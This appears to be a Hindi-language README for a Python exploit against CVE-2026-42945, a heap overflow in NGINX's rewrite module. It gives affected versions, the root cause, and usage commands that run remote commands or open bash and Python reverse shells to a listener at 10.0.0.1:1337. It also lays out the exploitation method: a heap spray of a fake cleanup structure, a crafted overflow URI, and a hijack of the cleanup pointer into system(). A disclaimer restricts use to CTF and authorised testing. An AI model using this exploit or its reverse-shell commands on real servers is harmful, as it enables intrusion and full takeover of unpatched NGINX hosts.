CVE-2026-42945 (NGINX Rift) रिवर्स शेल के साथ RCE PoC

CVE-2026-42945 के लिए रिमोट कोड एक्जीक्यूशन प्रूफ-ऑफ-कॉन्सेप्ट, जो NGINX के ngx_http_rewrite_module में हीप बफर ओवरफ्लो है। यह फोर्क सार्वजनिक ट्रिगर PoC को एक एम्बेडेड रिवर्स-शेल लिसनर और CTF तथा पृथक लैब वातावरणों के लिए कॉन्फ़िगरेबल एक्सप्लॉइटेशन पैरामीटर्स के साथ विस्तारित करता है।

भेद्यता सारांश

CVE ID: CVE-2026-42945
उपनाम: NGINX Rift
प्रभावित घटक: ngx_http_rewrite_module
प्रभावित संस्करण: NGINX Open Source 0.6.27 – 1.30.0; NGINX Plus R32 – R36
फिक्स्ड संस्करण: NGINX Open Source 1.30.1 / 1.31.0; NGINX Plus R36 P4, R35 P2, R32 P6
मूल कारण: दो-पास स्क्रिप्ट इंजन बेमेल। लंबाई-गणना पास एक नए उप-इंजन पर चलता है जिसमें is_args = 0 होता है, जबकि कॉपी पास मुख्य इंजन पर is_args = 1 के साथ चलता है, और ngx_escape_uri(..., NGX_ESCAPE_ARGS) को कॉल करता है। एस्केप करने योग्य बाइट्स प्रत्येक 3 बाइट्स में विस्तारित हो जाते हैं, जिससे आकार में कम हीप बफर हैकर-नियंत्रित URI डेटा से ओवरफ्लो हो जाता है।
RCE के लिए पूर्वापेक्षाएँ: असुरक्षित rewrite/set कॉन्फ़िगरेशन जो अनाम PCRE कैप्चर ($1, $2) और रिप्लेसमेंट स्ट्रिंग में ? का उपयोग करता है; अक्षम ASLR या ज्ञात हीप/libc बेस पते; POST बॉडी के माध्यम से हीप को स्प्रे करने की क्षमता।

फ़ाइलें

फ़ाइल	विवरण
`cve_2026_42945_rce_poc.py`	अंतर्निहित रिवर्स-शेल लिसनर और कमांड निष्पादन मोड के साथ Python एक्सप्लॉइट।

आवश्यकताएँ

Python 3.8+
लक्ष्य NGINX इंस्टेंस जो असुरक्षित संस्करण और कॉन्फ़िगरेशन प्रोफ़ाइल से मेल खाता हो।
लक्ष्य HTTP पोर्ट तक नेटवर्क पहुँच।
रिवर्स शेल के लिए: हमलावर होस्ट चुने गए लिसनर पोर्ट पर लक्ष्य से पहुँच योग्य होना चाहिए।

उपयोग

एकल कमांड निष्पादित करें

python3 cve_2026_42945_rce_poc.py \
  --host 10.0.0.5 \
  --port 80 \
  --cmd "id > /tmp/pwned"

रिवर्स शेल उत्पन्न करें (डिफ़ॉल्ट bash)

python3 cve_2026_42945_rce_poc.py \
  --host 10.0.0.5 \
  --port 80 \
  --shell \
  --listen-ip 10.0.0.1 \
  --listen-port 1337

Python रिवर्स शेल पेलोड

python3 cve_2026_42945_rce_poc.py \
  --host 10.0.0.5 \
  --port 80 \
  --shell \
  --shell-type python \
  --listen-ip 10.0.0.1 \
  --listen-port 1337

किसी विशिष्ट लक्ष्य के लिए पते कैलिब्रेट करें

python3 cve_2026_42945_rce_poc.py \
  --host 10.0.0.5 \
  --port 80 \
  --shell \
  --listen-ip 10.0.0.1 \
  --listen-port 1337 \
  --heap-base 0x555555659000 \
  --libc-base 0x7ffff77ba000 \
  --system-offset 0x50d70

यह कैसे काम करता है

हीप स्प्रे: एक नकली ngx_pool_cleanup_s संरचना वाले बॉडी के साथ कई POST अनुरोध भेजें: system@libc | कमांड का पॉइंटर | null। ये बॉडी स्थिर हीप स्थानों पर कब्जा कर लेते हैं।
ओवरफ्लो ट्रिगर करें: एक असुरक्षित rewrite एंडपॉइंट पर एक तैयार किया गया GET अनुरोध भेजें। URI पैटर्न है:
```
/api/<349 x 'A'><969 x '+'><6-बाइट हीप पता>
```
ओवरफ्लो आसन्न ngx_pool_t के cleanup पॉइंटर को दूषित कर देता है।
कोड निष्पादन: जब पूल नष्ट हो जाता है, दूषित cleanup पॉइंटर system(command) को इनवोक करता है, जो NGINX वर्कर प्रक्रिया के अंदर हैकर-नियंत्रित कमांड को निष्पादित करता है।
रिवर्स शेल: यदि --shell का उपयोग किया जाता है, तो कमांड एक रिवर्स-शेल पेलोड होता है और एम्बेडेड लिसनर आने वाले कनेक्शन को पकड़ लेता है।

सुरक्षा सूचना

यह उपकरण इसके लिए अभिप्रेत है:

CTF और लैब अभ्यास।
लिखित अनुमति के साथ अधिकृत पेनिट्रेशन टेस्टिंग।
सुरक्षा अनुसंधान और डिफेंस-हार्डनिंग गतिविधियाँ।

उन सिस्टमों पर उपयोग न करें जिनके आप मालिक नहीं हैं या जिनके परीक्षण की स्पष्ट अनुमति नहीं है।

लाइसेंस

अपने जोखिम पर उपयोग करें। लेखक अनधिकृत या अवैध उपयोग के लिए जिम्मेदार नहीं है।

श्रेय

मूल भेद्यता अनुसंधान और PoC depthfirstdisclosures (https://github.com/depthfirstdisclosures/nginx-rift) द्वारा। यह Python रिवर्स-शेल फोर्क रेड-टीम लैब / CTF उपयोग के लिए बनाया गया था।

संदर्भ

NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-42945
NGINX सुरक्षा सलाहकार: https://nginx.org/en/security_advisories.html
F5 / NGINX ज्ञानकोष: https://my.f5.com/manage/s/article/K000161019
मूल अनुसंधान रिपॉजिटरी: https://github.com/depthfirstdisclosures/nginx-rift

सबसे लोकप्रिय

CVE-2026-42945-Reverse-Shell-POC